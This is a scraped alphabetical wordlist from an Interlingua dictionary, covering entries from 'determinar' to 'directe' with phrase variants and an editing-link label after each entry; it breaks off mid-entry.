textoModificar determinar qui est le autor de un texto determinar se a facer un cosaModificar determinar se a facer una cosa determinar un plantaModificar determinar una planta determinateModificar determinato(s) \/ determinata(s) determinationModificar determination de longorModificar determination del peso specificModificar determination del peso specifico determination del puncto de fusionModificar determination del valorModificar determinativeModificar determinativo(s) \/ determinativa(s) determinatorModificar determinismoModificar determinismo historicModificar determinismo historico determinismo psychologicModificar determinismo psychologico deterministaModificar deterministicModificar deterministico(s) \/ deterministica(s) detersionModificar detersiveModificar detersivo(s) \/ detersiva(s) detersivoModificar detersivo ecologicModificar detersivo ecologico detestabileModificar detestabile(s) detestarModificar detestar le dishonestate \/ dishonestitateModificar detestar la dishonestate \/ dishonestitate detestationModificar detheinateModificar detheinato(s) \/ detheinata(s) detonanteModificar detonante(s) adj detonarModificar detonationModificar detonatorModificar detonator a retardamentoModificar detraModificar detra adv, prep detractionModificar detraction de un personaModificar detraction de una persona detraction de un doctrinaModificar detraction de una doctrina detractorModificar detractoriModificar detractorio(s) \/ detractoria(s) detraherModificar detraher le meritos de un personaModificar detraher los meritos de una persona detrimentalModificar detrimental(es) detrimentoModificar detrimentoseModificar detrimentoso(s) \/ detrimentosa(s) detriticModificar detritico(s) \/ detritica(s) detritoModificar detrito domesticModificar detrito domestico detritovoroModificar detritovoro [le deuce [A]Modificar deus ex machina [L]Modificar deuteriumModificar deuterocanonicModificar deuterocanonico deuteronModificar DeuteronomioModificar deutonModificar deutoplasmaModificar deutoxydoModificar devalorisarModificar devalorizar devalorisationModificar devalorization devalutarModificar devalutar un monetaModificar devalutar una moneta devalutationModificar devalutation del florinoModificar devascularisarModificar devascularizar devascularisationModificar devascularization devastanteModificar devastante(s) devastarModificar devastationModificar devastatorModificar devenirModificar devenir calve precocementeModificar devenir calvo(s) precocemente devenir insensibileModificar devenir jornalistaModificar devenir le instrumento de un personaModificar devenir le instrumento de una persona devenir le preda deModificar devenir la preda de devenir manifesteModificar devenir manifesto(s) \/ manifesta(s) devenir matreModificar devenir pallideModificar devenir pallido(s) \/ pallida(s) devenir proverbialModificar devenir proverbial(es) devenir salinModificar devenir salino(s) \/ salina(s) deverbalModificar deverbal(es) deverbativeModificar deverbativo(s) \/ deverbativa(s) deverbativoModificar deviabileModificar deviabile(s) devianteModificar deviante adj, sub deviarModificar deviar de su linea de comportamentoModificar deviar de su linea de conductaModificar deviar del normaModificar deviar de la norma deviar le circulationModificar deviar la circulation deviar le trafficoModificar deviar un rivieraModificar deviar una riviera deviationModificar deviation chromaticModificar deviation chromatica deviation del bussolaModificar deviation de la bussola deviation del colonna \/ columna vertebralModificar deviation de la colonna \/ columna vertebral deviation standardModificar deviationismoModificar deviationistaModificar deviationisticModificar deviationistico(s) \/ deviationistica(s) devisaModificar devisa de combattoModificar devisa estranieModificar devisa estrania devisa publicitariModificar devisa publicitaria devitalisarModificar devitalizar devitalizationModificar devitalisation devitaminisarModificar devitaminizar devitaminisationModificar devitaminization devitrificarModificar devitrificationModificar devocalisarModificar devocalizar devocalisationModificar devocalization devolutionModificar devolution successoralModificar devolutiveModificar devolutivo(s) \/ devolutiva(s) devolverModificar devonianModificar devoniano(s) \/ devoniana(s) devonianoModificar devonicModificar devonico(s) \/ devonicas) devonicoModificar devoranteModificar devorante(s) adj devorarModificar devorar con le oculosModificar devorar con los oculos devorar le viaModificar devorar la via devorar su predaModificar devorar un libroModificar devoratorModificar devorator de librosModificar devotarModificar devotar su vita al scientiaModificar devotar su vita a la scientia devote (a)Modificar devoto(s) \/ devota(s) [a] devote al imperatorModificar [devoto(s) \/ devota(s)] al imperator devotionModificar devotion popularModificar devotionalModificar devotional(es) devotionesModificar devotoModificar devoto del yachtingModificar dextera = dextraModificar dextera = dextra [la dextera \/ dextra moderateModificar dextera \/ dextra moderata dextere = dextreModificar dextero(s) \/ dextera(s) = dextro(s) \/ dextra(s) dexteritateModificar dexteromane = dextromaneModificar dexteromano(s) \/ dexteromana(s) = dextromano(s) \/ dextromana(s) dextralModificar dextral(es) dextralitateModificar dextrinaModificar dextrogyrModificar dextrogyro(s) \/ dextrogyra(s) dextrorotationModificar dextrorseModificar dextrorso(s) \/ dextrorsa(s) dextrosaModificar dextrosa [la deyModificar dey [le diabaseModificar diabase diabeteModificar diabete [le \/ la diabeticModificar diabetico(s) \/ diabetica(s) diabeticoModificar diabetologiaModificar diabetologicModificar diabetologico(s) \/ diabetologica(s) diabetologoModificar diaboleriaModificar diabolessaModificar diabolettoModificar diabolicModificar diabolico(s) \/ diabolica(s) diabolicitateModificar diabolismoModificar diabolistaModificar diaboloModificar diabolo in figura humanModificar diabolo in figura humana diabolo incarnateModificar diabolo incarnato diacausticModificar diacaustico(s) \/ diacaustica(s) diachroniaModificar diachronicModificar diachronico(s) \/ diachronica(s) diaclaseModificar diaclase [la diaconalModificar diaconal(es) diaconatoModificar diaconessaModificar diaconiaModificar diaconoModificar diacriticModificar diacritico(s) \/ diacritica(s) diadeModificar diade [la diadelpheModificar diadelpho(s) \/ diadelpha(s) diademaModificar diadema [le \/ la diadema regalModificar diadema royalModificar diadochoModificar diagenese = diagenesisModificar diagnose = diagnosisModificar diagnose serologicModificar diagnose serologica diagnosticModificar diagnostico(s) \/ diagnostica(s) diagnosticarModificar diagnosticar le causas del crise \/ crisis economicModificar diagnosticar las causas de la crise \/ crisis economica diagnosticar un pulmonitisModificar diagnosticar una pulmonitis diagnosticoModificar diagnostico per radios XModificar diagonalModificar diagonal(es) diagonalisationModificar diagonalization diagonalisation de matricesModificar diagonalization de matrices diagrammaModificar diagramma a \/ de blocosModificar diagramma arboreeModificar diagramma arboreo diagramma circularModificar diagramma de WennModificar diagramma del fortiasModificar diagramma de las fortias diagramma del productionModificar diagramma de la production diagramma del temperaturaModificar diagramma de la temperatura diagramma directionalModificar diagramma entropicModificar diagramma entropico diagramma floralModificar diagramma linearModificar diagramma pollinicModificar diagramma pollinico diagramma sagittalModificar diagramma synopticModificar diagramma synoptico diagramma vectorialModificar diagramma VennModificar diagrammaticModificar diagrammatico(s) \/ diagrammatica(s) diagraphiaModificar diagraphoModificar dialectalModificar dialectal(es) dialectalismoModificar dialecticModificar dialectico(s) \/ dialectica(s) dialecticaModificar dialectica hegelianModificar dialectica hegeliana dialectica idealista de HegelModificar dialectica idealista hegelianModificar dialectica idealista hegeliana dialecticoModificar dialectismoModificar dialectoModificar dialecto bavareseModificar dialecto bologneseModificar dialecto cypriotaModificar dialecto de LeidenModificar dialecto doricModificar dialecto dorico dialecto ionicModificar dialecto ionico dialectologiaModificar dialectologia italianModificar dialectologia italiana dialectologicModificar dialectologico(s) \/ dialectologica(s) dialectologistaModificar dialectologoModificar dialectophoneModificar dialectophono(s) \/ dialectophona(s) dialectophonoModificar dialectos galleseModificar dialectos galleses dialogarModificar dialogar un roman \/ romanceModificar dialogicModificar dialogico(s) \/ dialogica(s) dialogisarModificar dialogizar dialogismoModificar dialogistaModificar dialogoModificar dialogos socraticModificar dialogos socraticos dialypetaleModificar dialypetalo(s) \/ dialypetala(s) dialysabileModificar dialysabile(s) [con s] dialysarModificar dialysar [con s] dialysar un maladoModificar dialysar un solutionModificar dialysar una solution dialysatoModificar dialysatorModificar dialyse = dialysisModificar dialyse a casaModificar dialyse a domicilioModificar dialyse renalModificar dialyticModificar dialytico(s) \/ dialytica(s) diamagneticModificar diamagnetico(s) \/ diamagnetica(s) diamagnetismoModificar diamantarModificar diamantarioModificar diamantateModificar diamantato(s) \/ diamantata(s) diamanteModificar diamante [le diamante a forarModificar diamante bruteModificar diamante bruto diamante del CapoModificar diamante industrialModificar diamante nigreModificar diamante nigro diamante syntheticModificar diamante synthetico diamante taliateModificar diamante taliato diamantifereModificar diamantifero(s) \/ diamantifera(s) diamantinModificar diamantino(s) \/ diamantina(s) diamantistaModificar diametralModificar diametral(es) diametricModificar diametrico(s) \/ diametrica(s) diametroModificar diametro apparente del solModificar diametro de bulonModificar diametro de cabloModificar diametro de electrodoModificar diametro de flangiaModificar diametro de un arboreModificar diametro de un(a) arbore diametro de un circuloModificar diametro del filettoModificar diametro equatorialModificar diametro exterior del filettoModificar diametro externeModificar diametro externo diametro interior del filettoModificar diametro interneModificar diametro interno diamidoModificar diaminoModificar diaminophenolModificar diamorphina = diacetylmorphinaModificar DianaModificar dianaModificar diandreModificar diandro(s) \/ diandra(s) diandriaModificar dianthoModificar diantho alpinModificar diantho alpino diantho barbateModificar diantho barbato diantho deltoideModificar diantho in pottoModificar diantho superbeModificar diantho superbo diapasonModificar diapason dupleModificar diapason duplo diapausaModificar diaphaneModificar diaphano(s) \/ diaphana(s) diaphanitate = diaphaneitateModificar diaphanitate de un corporeModificar diaphanometriaModificar diaphanometroModificar diaphanoscopiaModificar diaphanoscopioModificar diaphoniaModificar diaphonicModificar diaphonico(s) \/ diaphonica(s) diaphoraModificar diaphorese = diaphoresisModificar diaphoreticModificar diaphoretico(s) \/ diaphoretica(s) diaphoreticoModificar diaphragmaModificar diaphragma [le diaphragma a \/ de cortinaModificar diaphragma a \/ de revolverModificar diaphragma del campo visualModificar diaphragma iride \/ irisModificar diaphragmarModificar diaphragmaticModificar diaphragmatico(s) \/ diaphragmatica(s) diaphyse = diaphysisModificar diapositivaModificar diapositiva in coloresModificar diarchiaModificar diarioModificar diario de Anne FrankModificar diario de bordoModificar diario de navigationModificar diarrheaModificar diarrheicModificar diarrheico(s) \/ diarrheica(s) diarthrose = diarthrosisModificar diascopiaModificar diascopioModificar diaasporaModificar diastase = diastasisModificar diastasicModificar diastasico(s) \/ diastasica(s) diastemaModificar diastema [le diastoleModificar diástole [la diastolicModificar diastolico(s) \/ diastolica(s) diastrophismoModificar diatessaronModificar diathermantiaModificar diathermiaModificar diathermicModificar diathermico(s) \/ diathermica(s) diathese = deathesisModificar diathese uricModificar diathese urica diatomeaModificar diatomicModificar diatomico(s) \/ diatomica(s) diatomiteModificar diatonicModificar diatonico(s) \/ diatonica(s) diatribaModificar diazotarModificar diazotationModificar diazotypiaModificar dibasicModificar dibasico(s) \/ dibasica(s) dicaModificar dica de argillaModificar dica de barrageModificar dica de canalModificar dica de cincturaModificar dica de clausura de un polderModificar dica de estateModificar dica de hibernoModificar dica de isolamentoModificar dica de marModificar dica de molinoModificar dica de reservaModificar dica de securitateModificar dica del RhenoModificar dica dormienteModificar dica estiveModificar dica estiva dica exteriorModificar dica fluvialModificar dica interiorModificar dica interneModificar dica interna dica permeabileModificar dica principalModificar dica provisoriModificar dica provisoria dica secundariModificar dica secundaria dica submersibileModificar dicatalecticModificar dicatalectico(s) \/ dicatelectica(s) dicerModificar dicer abominationModificar dicer absurditateModificar dicer adeo \/ adieuModificar dicer amen a totoModificar dicer francamente le veritate a un personaModificar dicer francamente la veritate a una persona dicer (le) halto aModificar dicer halto al energia nuclearModificar dicer halto a la energia nuclear dicer humModificar dicer ineptiasModificar dicer insanitatesModificar dicer inter quatro oculosModificar dicer le benediciteModificar dicer le bon aventuraModificar dicer la bona aventura dicer le missaModificar dicer la missa dicer le veritateModificar dicer la veritate dicer malModificar dicer mendacios a un personaModificar dicer mendacios a una persona dicer obscenitatesModificar dicer parolas incauteModificar dicer parolas incautas dicer qualcosa quanto a su projectosModificar dicer qualcosa quanto a sus projectos dicer resolutemente le veritateModificar dicer resolutamente la veritate dicer semper \/ sempre le mesme cosaModificar dicer semper \/ sempre la mesma cosa dicer stupiditatesModificar dicer su rosarioModificar dicer un cosa a \/ in alte voceModificar dicer una cosa a \/ in alta voce dicer un cosa a propositoModificar dicer una cosa a proposito dicer un cosa con bon intentionModificar dicer una cosa con bona intention dicer un cosa con certitudeModificar dicer una cosa con certitude dicer un cosa con un tono deciseModificar dicer una cosa con un tono deciso dicer un cosa in confidentiaModificar dicer una cosa in confidentia dicer un precariaModificar dicer una precaria dichogameModificar dichogamo(s) \/ dichogama(s) dichogamiaModificar dichotomeModificar dichotomo(s) \/ dichotoma(s) dichotomiaModificar dichotomia inter culturas oriental e occidentalModificar dichotomia inter culturas orientales et occidentales dichotomicModificar dichotomico(s) \/ dichotomica(s) dichroismoModificar dichromaticModificar dichromatico(s) \/ dichromatica(s) dichromatismoModificar dichroscopioModificar dicibileModificar dicibile(s) dicite inter nosModificar [dicito(s) \/ dicita(s)] inter nos dickensianModificar dickensiano(s) \/ dickensiana(s) diclinModificar diclino(s) \/ diclina(s) dicotylModificar dicotyl(es) adj dicotyledonModificar dicotyledon(es) adj dictamineModificar dictamine [le dictamnoModificar dictamno albeModificar dictamno albo dictaphonistaModificar dictaphonoModificar dictaphono dictarModificar dictar le paceModificar dictar la pace dictar su conditionesModificar dictar sus conditiones dictar su proprie sententia de morteModificar dictar su propria sententia de morte dictate per le circumstantiasModificar [dictato(s) \/ dictata(s)] per las circumstantias dictatoModificar dictatorModificar dictatorialModificar dictatorial(es) dictaturaModificar dictatura del proletariatoModificar dictatura fascistaModificar dictatura stalinistaModificar dictionModificar dictionario subModificar en: dictionary n es: diccionario sm fr: dictionnaire sm it: dizionario sm pt: dicionário sm dictionario a \/ pro usage scholarModificar dictionario bibliographicModificar dictionario bibliographico dictionario bilingueModificar dictionario biographicModificar dictionario biographico dictionario botanicModificar dictionario botanico dictionario de geographiaModificar dictionario de parolas cruciateModificar dictionario de parolas cruciatas dictionario de proverbiosModificar dictionario de rimasModificar dictionario de tascaModificar dictionario de \/ in tres partesModificar dictionario de \/ in tres tomosModificar dictionario dialectalModificar dictionario encyclopedicModificar dictionario encyclopedico dictionario espaniol-franceseModificar dictionario etymologicModificar dictionario etymologico dictionario explicativeModificar dictionario explicativo dictionario geographicModificar dictionario geographico dictionario in dece voluminesModificar dictionario inverseModificar dictionario inverso dictionario manualModificar dictionario miniaturaModificar dictionario monolingueModificar dictionario multilingual \/ multilingueModificar dictionario phraseologicModificar dictionario phraseologico dictionario plurilingueModificar dictionario polyglotteModificar dictionario polyglotto dictionario portativeModificar dictionario portativo dictionario pro uso scholarModificar dictionario quadrilingual \/ quadrilingueModificar dictionario retrogradeModificar dictionario retrogrado dictionario scholarModificar dictionario specialisateModificar dictionario specializato dictionario technicModificar dictionario technico dictionario terminologicModificar dictionario terminologico dictionario trilingueModificar dictionario unilingueModificar dictionario viventeModificar dictionaristaModificar dictoModificar dicto meteorologicModificar dicto meteorologico dicto oracularModificar didacticModificar didactico(s) \/ didactica(s) didacticaModificar didactyleModificar didactylo(s) \/ didactyla(s) didascaliaModificar didascalicModificar didascalico(s) \/ didascalica(s) didaxologiaModificar didaxologicModificar didaxologico(s) \/ didaxologica(s) didaxologoModificar DidonModificar didymeModificar didymo(s) \/ didyma(s) die = jornoModificar die astronomicModificar die astronomico die autumnalModificar die brumoseModificar die brumoso die caloroseModificar die caloroso die capitularModificar die commemorativeModificar die commemorativo die de abstinentiaModificar die de AscensionModificar die de autumnoModificar die de brumaModificar die de calor tropicalModificar die de classeModificar die de congedoModificar die de devotionModificar die de discargaModificar die de discargamentoModificar die de estateModificar die de exoperoModificar die de familiaModificar die de festaModificar die de fidantiamentoModificar die de fundationModificar die de hibernoModificar die de hospitalisationModificar die de hospitalization die de interesseModificar die de laborModificar die de lavageModificar die de liberationModificar die de maritageModificar die de matrimonioModificar die de mercatoModificar die de nascentiaModificar die de nuptiasModificar die de octobreModificar Die de Omne SanctosModificar Die de Omnes Sanctos die de orationesModificar die de pagaModificar die de pagamentoModificar die de paschaModificar die de pentecosteModificar die de pluviaModificar die de primaveraModificar die de recollectionModificar die de recoltaModificar die de repassageModificar die de repententiaModificar die de reposoModificar die de sabbatoModificar die de scholaModificar die de sessionModificar die de tempestaModificar die de travalioModificar die decretoriModificar die decretorio die del animalModificar Die del Anno NoveModificar Die del Anno Novo die del aperturaModificar die de la apertura die del armistitioModificar die del electionesModificar die de las electiones die del judicioModificar die del matreModificar die de la matre die del mortosModificar die de los mortos die del Nove AnnoModificar die del Novo Anno die del vengiantiaModificar die de la vengiantia die disastroseModificar die disastroso die estiveModificar die estivo die fatalModificar die feriateModificar die feriato die festiveModificar die festivo die funesteModificar die funesto die hibernalModificar die in le hospitalModificar die intercalariModificar die intercalario die magreModificar die magro die marianModificar die mariano die mundial del precariaModificar die mundial de la precaria die mundial del sanitateModificar die mundial de la sanitate die natalModificar die nefasteModificar die nefasto die normal de laborModificar die normal de travalioModificar die penultime del septimanaModificar die penultimo de la septimana die per dieModificar die pluvioseModificar die pluvioso die primaveralModificar die scholarModificar die sideralModificar die solarModificar die sportiveModificar die sportivo die tropicalModificar die utileModificar die vernalModificar dielectricModificar dielectrico(s) \/ dielectrica(s) dielectricoModificar diencephalonModificar dierese = die<\/>resisModificar diereticModificar dieretico(s) \/ dieretica(s) dies canicularModificar dies caniculares dies de angustiaModificar dies del rogationesModificar dies de las rogationes dies genesiacModificar dies genesiacos dies imparModificar dies impares dies irae [L]Modificar diesarModificar diese = diesisModificar diese dupleModificar diese dupla dieselModificar diesel [le dietaModificar dieta absoluteModificar dieta absoluta dieta basse in caloriasModificar dieta bassa in calorias dieta de fructosModificar dieta de magrimentoModificar dieta dischlorurateModificar dieta dischlorurata dieta hydricModificar dieta hydrica dieta hypocaloricModificar dieta hypocalorica dieta lacteeModificar dieta lactea dieta lacticModificar dieta lactica dieta macrobioticModificar dieta macrobiotica dieta polacModificar dieta polaca dieta poloneseModificar dieta polonesa dieta povre in caloriasModificar dieta pro magrirModificar dieta rigoroseModificar dieta rigorosa dieta totalModificar dieta vegetarianModificar dieta vegetariana dietarModificar dieteticModificar dietetico(s) \/ dietetica(s) dieteticaModificar dieteticoModificar dietistaModificar diffamarModificar diffamar un adversarioModificar diffamationModificar diffamation de un adversarioModificar diffamatorModificar diffamatoriModificar diffamatorio(s) \/ diffamatoria(s) differenteModificar differente(s) differentiaModificar differentia a pena sensibileModificar differentia ascensionalModificar differentia characteristicModificar differentia characteristica differentia de alturaModificar differentia de colorModificar differentia de cursoModificar differentia de etateModificar differentia de longorModificar differentia de nuanceModificar differentia de opinion(es)Modificar differentia de phaseModificar differentia de potentialModificar differentia de potential de contactoModificar differentia de pressionModificar differentia de stiloModificar differentia de structuraModificar differentia de tensionModificar differentia de vista(s)Modificar differentia enormeModificar differentia essentialModificar differentia gradualModificar differentia imperceptibileModificar differentia infimeModificar differentia infima differentia legierModificar differentia legiera differentia linguisticModificar differentia linguistica differentia manifesteModificar differentia manifesta differentia marcateModificar differentia marcata differentia notabileModificar differentia phoneticModificar differentia phonetica differentia potentialModificar differentia principalModificar differentia racialModificar differentia semanticModificar differentia semantica differentia sexualModificar differentia significanteModificar differentia significativeModificar differentia significativa differentia stilisticModificar differentia stilistica differentia substantialModificar differentia subtilModificar differentia theoricModificar differentia theorica differentiabileModificar differentiabile(s) differentiabilitateModificar differentialModificar differential adj, sub differentiarModificar differentiar iste duo nuances es difficileModificar differentiar istas duas nuances est difficile differentias de rangoModificar differentia(s) de vistaModificar differentias dialectalModificar differentias dialectales differentias ethnicModificar differentias ethnicas differentias fractionalModificar differentias fractionales differentias incomputabileModificar differentias incomputabiles differentias sexualModificar differentias sexuales differentias structuralModificar differentias structurales differentiationModificar differentiation cellularModificar differentiation del preciosModificar differentiation de los precios differentiation del productosModificar differentiation de los productos differentiation functionalModificar differentiation hormonal del sexosModificar differentiation hormonal de los sexos differerModificar differer le jorno fixate pro le audientiaModificar differer le jorno fixato pro la audientia differer le pagamentosModificar differer los pagamentos differer non significa abandonarModificar differer un viageModificar differibileModificar differibile(s) difficileModificar difficile(s) difficile a \/ de manearModificar difficile(s) a manear difficile de accessoModificar difficile(s) de accesso difficultateModificar difficultate de respirarModificar difficultate de un problemaModificar difficultate insolubileModificar difficultate respiratoriModificar difficultate respiratoria difficultate technicModificar difficultate technica difficultates de adaptationModificar difficultates financiariModificar difficultates financiarias difficultates inspiratoriModificar difficultates inspiratorias difficultates (in)superabileModificar difficultates (in)superabiles difficultates (in)surmontabileModificar difficultates (in)surmontabiles difficultates intercurrenteModificar difficultates intercurrentes difficultates monetariModificar difficultates monetarias difficultates stilisticModificar difficultates stilisticas diffide del pickpocketsModificar diffide de los pickpockets diffidenteModificar diffidente(s) adj diffidentiaModificar diffidentia injustificateModificar diffidentia injustificata diffiderModificar diffider del adulatoresModificar diffider de los adulatores diffider del intentiones de un personaModificar diffider de las intentiones de una persona diffluenteModificar diffluente(s) adj diffluentiaModificar diffluerModificar difformeModificar difforme(s) difformitateModificar diffractarModificar diffractionModificar diffraction de FresnelModificar diffraction luminoseModificar diffraction luminosa diffrangerModificar diffunderModificar diffunder ideasModificar diffunder luceModificar diffunder lumineModificar diffunder novas per radioModificar diffunder un cosa per le radioModificar diffunder una cosa per le radio diffunder un odor agradabileModificar diffunder un opusculo de propagandaModificar diffunder un revistaModificar diffunder una revista diffuseModificar diffuso(s) \/ diffusa(s) diffusibileModificar diffusibile(s) diffusibilitateModificar diffusionModificar diffusion a duo etapesModificar diffusion a duas etapes diffusion de cognoscentiasModificar diffusion de cognoscimentosModificar diffusion thermalModificar diffusion thermicModificar diffusion thermica diffusion turbulenteModificar diffusion turbulenta diffusionismoModificar diffusiveModificar diffusivo(s) \/ diffusiva(s) diffusivitateModificar diffusorModificar diffusor de sonosModificar digammaModificar digamma [la digererModificar digeribileModificar digeribile(s) digeribilitateModificar digestibileModificar digestibile(s) digestibilitateModificar digestionModificar digestion aerobieModificar digestion aerobia digestiveModificar digestivo)s \/ digestiva(s) digestoModificar digestorModificar digitalModificar digital(es) digitaliformeModificar digitaliforme(s) digitalinaModificar digitalisModificar digitalis [la digitalisarModificar digitalizar digitalisar informationesModificar digitalizar informationes digitalisationModificar digitalization digitariaModificar digitateModificar digitato(s) \/ digitata(s) digitationModificar digitifoliateModificar digitifoliato(s) \/ digitifoliata(s) digitiformeModificar digitiforme(s) digitigradeModificar digitigrado(s) \/ digitigrada(s) digiiigradoModificar digitoModificar digito accusatoriModificar digito accusatorio digito anularModificar digito auricularModificar digito binariModificar digito binario digito de DeoModificar digito del pedeModificar digito indiceModificar digito medieModificar digito medio digitos nodoseModificar digitos nodosos diglossiaModificar diglossicModificar diglossico(s) \/ diglossica(s) dignarModificar digneModificar digno(s) \/ digna(s) digne de admirationModificar [digno(s) \/ digna(s)] de admiration digne de attentionModificar [digno(s) \/ digna(s)] de attention digne de compassionModificar [digno(s) \/ digna(s)] de compassion digne de confidentiaModificar [digno(s) \/ digna(s)] de confidentia digne de considerationModificar [digno(s) \/ digna(s)] de consideration digne de creditoModificar [digno(s) \/ digna(s)] de credito digne de elogioModificar [digno(s) \/ digna(s)] de elogio digne de encomioModificar [digno(s) \/ digna(s)] de encomio digne de estimaModificar [digno(s) \/ digna(s)] de estima digne de fideModificar [digno(s) \/ digna(s)] de fide digne de imitationModificar [digno(s) \/ digna(s)] de imitation digne de interesseModificar [digno(s) \/ digna(s)] de interesse digne de laudeModificar [digno(s) \/ digna(s)] de laude digne de mentionModificar [digno(s) \/ digna(s)] de mention digne de meritoModificar [digno(s) \/ digna(s)] de merito digne de recordationModificar [digno(s) \/ digna(s)] de recordation digne de un melior causaModificar [digno(s) \/ digna(s)] de una melior causa digne de un regeModificar [digno(s) \/ digna(s)] de un rege digne de \/ del fideModificar [digno(s) \/ digna(s)] de \/ de_la fide dignificarModificar dignitarioModificar dignitario de corteModificar dignitateModificar dignitate archiepiscopalModificar dignitate cardinalicieModificar dignitate cardinalicia dignitate consularModificar dignitate de archipresbyteroModificar dignitate de cappellanoModificar dignitate de cardinalModificar dignitate de papaModificar dignitate de parModificar dignitate de provincialModificar dignitate de sacerdoteModificar dignitate episcopalModificar dignitate imperialModificar dignitate patriarchalModificar dignitate pontificalModificar dignitate prioralModificar dignitate professoralModificar dignitate rectoralModificar dignitate sacerdotalModificar digrammaModificar digramma [le digrederModificar digressionModificar digressiveModificar digressivo(s) \/ digressiva(s) dihedreModificar dihedro(s) \/ dihedra(s) dihedricModificar dihedrico(s) \/ dihedrica(s) dihedroModificar dilaceramentoModificar dilacerarModificar dilacerationModificar dilapidarModificar dilapidar un hereditageModificar dilapidationModificar dilapidation de energiaModificar dilapidation de un capitalModificar dilapidatorModificar dilatabileModificar dilatabile(s) dilatabilitateModificar dilatarModificar dilatar le naresModificar dilatar las nares dilatationModificar dilatation cardiacModificar dilatation cardiaca dilatation cubicModificar dilatation cubica dilatation del cordeModificar dilatation del pupillaModificar dilatation de la pupilla dilatation del stomachoModificar dilatation linearModificar dilatation pupillarModificar dilatation vascularModificar dilatatorModificar dilatator del pupillaModificar dilatator de la pupilla dilatometroModificar dilatoriModificar dilatorio(s) \/ dilatoria(s) dildoModificar dilectionModificar dilemmaModificar dilemma moralModificar dilemmaticModificar dilemmatico(s) \/ dilemmatica(s) dilettante [I]Modificar dilettantismoModificar diligenteModificar diligente(s) diligentiaModificar diligentia postalModificar diluenteModificar diluente [le diluerModificar diluer calceModificar diluer farinaModificar diluer le lacte con aquaModificar diluer un solutionModificar diluer una solution dilutionModificar dilution de 1 a \/ pro 10Modificar dilution de un solutionModificar dilution de una solution diluvialModificar diluvial(es) diluvianModificar diluviano(s) \/ diluviana(s) diluviarModificar diluvioModificar diluvio de parolasModificar dimensionModificar dimension del maliasModificar dimension de las malias dimension exteriorModificar dimension interiorModificar dimension longitudinalModificar dimension standardModificar dimensionalModificar dimensional(es) dimensionamentoModificar dimensionarModificar dimensiones de un terrenoModificar dimereModificar dimero(s) \/ dimera(s) [sub, adj] dimerisationModificar dimerization dimetroModificar diminuendo [I]Modificar diminuerModificar diminuer de valorModificar diminuer le doseModificar diminuer la dose diminuer le merito de un personaModificar diminuer le merito de una persona diminuer le precio(s)Modificar diminuer le_precio \/ los_precios diminuer le salariosModificar diminuer los salarios diminuer le tarifaModificar diminuer la tarifa diminutionModificar diminution de salarioModificar diminution de tensionModificar diminution del precio(s)Modificar diminution del_precio \/ de_los_precios diminution del premioModificar diminution del productionModificar diminution de la production diminution del productivitateModificar diminution de la productivitate diminution percentualModificar diminution ponderalModificar diminutiveModificar diminutivo(s) \/ diminutiva(s) diminutivoModificar dimissionModificar dimission collectiveModificar dimission collectiva dimission fortiateModificar dimission fortiata dimission honorabileModificar dimission immediateModificar dimission immediata dimission massiveModificar dimission massiva dimissionariModificar dimissionario(s) \/ dimissionaria(s) dimitterModificar dimitter immediatementeModificar dimitter immediatamente dimitter un persona de su functionesModificar dimitter una persona de sus functiones dimorpheModificar dimorpho(s) \/ dimorpha(s) dimorphismoModificar dimorphismo saisonalModificar dimorphismo sexualModificar dinarModificar dinar vb, sub dinarModificar dinar [le dinar copiosementeModificar dinar copiosamente dinar de adeo \/ adieuModificar dinar de affairesModificar dinar de festaModificar dinar del vesperaModificar dinar de la vespera dinar del vespereModificar dinar sumptuosementeModificar dinar sumptuosamente dinaricModificar dinarico(s) \/ dinarica(s) dinatorModificar dindon!Modificar dindon! dinerModificar diner [le dinghy [A]Modificar dingoModificar dinitrophenolModificar dinosaurianModificar dinosauriano(s) \/ dinosauriana(s) dinosauroModificar diocesanModificar diocesano(s) \/ diocesana(s) diocesanoModificar diocese = diocesisModificar dioctahedroModificar diodoModificar diodo luminoseModificar diodo luminoso diodo semiconductorModificar DiogeneModificar dioicModificar dioico(s) \/ dioica(s) Dionysia sub pl [L]Modificar dionysiacModificar dionysiaco(s) \/ dionysiaca(s) DionysioModificar DionysoModificar diophantinModificar diophantino(s) \/ diophantina(s) dioptaseModificar dioptase [la dioptraModificar dioptriaModificar dioptricModificar dioptrico(s) \/ dioptrica(s) dioptricaModificar dioramaModificar diorama [le dioramicModificar dioramico(s) \/ dioramica(s) dioriteModificar dioriticModificar dioritico(s) \/ dioritica(s) dioscoreaModificar dioscoreaceasModificar DioscurosModificar Dioscuros [los diospyroModificar dioxinaModificar dioxydoModificar dioxydo de sulfureModificar dioxydo sulfuricModificar dioxydo sulfurico dipetaleModificar dipetalo(s) \/ dipetala(s) diphasateModificar diphasato(s) \/ diphasata(s) diphasicModificar diphasico(s) \/ diphasica(s) diphteriaModificar diphtericModificar diphterico(s) \/ diphterica(s) diphteritisModificar diphteroideModificar diphteroide(s) adj<\/> diphthongarModificar diphthongationModificar diphthongeModificar diphthongo(s) \/ diphthonga(s) diphthongoModificar diplegiaModificar diplochromosomaModificar diplococcoModificar diploideModificar diploide(s) adj diploidiaModificar diploidisationModificar diploidization diplomaModificar diploma de fin de cursoModificar diploma de fin de studiosModificar diploma de infirmeraModificar diploma de ingenieroModificar diploma de inseniamento primariModificar diploma de inseniamento primario diploma de institutorModificar diploma de institutor principalModificar diploma de machinistaModificar diploma de maestroModificar diploma de neonatologiaModificar diploma de stenographiaModificar diplomarModificar diplomateModificar diplomato(s) \/ diplomata(s) diplomate consummateModificar diplomato(s)_consummato(s) \/ diplomata(s)_consummata(s) diplomate de carrieraModificar diplomato(s) \/ diplomata(s) de carriera diplomate versateModificar diplomato(s)_versato(s) \/ diplomata(s)_versata(s) diplomates ha derectos extraterritorialModificar diplomatos \/ diplomatas han \/ haben derectos extraterritoriales diplomatiaModificar diplomaticModificar diplomatico(s) \/ diplomatica(s) diplomaticaModificar diplomatistaModificar diplopiaModificar diplopia heteronymeModificar diplopia heteronyma diplopicModificar diplopico(s) \/ diplopica(s) diplotaxisModificar diplotaxis [la dipneeModificar dipneo(s) \/ dipnea(s) dipoModificar dipodiaModificar dipolarModificar dipolar(es) dipolaritateModificar dipoloModificar dipsacaceasModificar dipsacaceeModificar dipsacaceo(s) \/ dipsacacea(s) dipsacoModificar dipsomaneModificar dipsomano(s) \/ dipsomana(s) dipsomaniaModificar dipsomaniacModificar dipsomaniaco(s) \/ dipsomaniaca(s) dipsomaniacoModificar dipsomanoModificar diptereModificar diptero(s) \/ diptera(s) dipterosModificar dipticoModificar directeModificar directo(s) \/ directa(s) directe contagionModificar directo contagion directemente del productor al consumitorModificar directamente del productor al 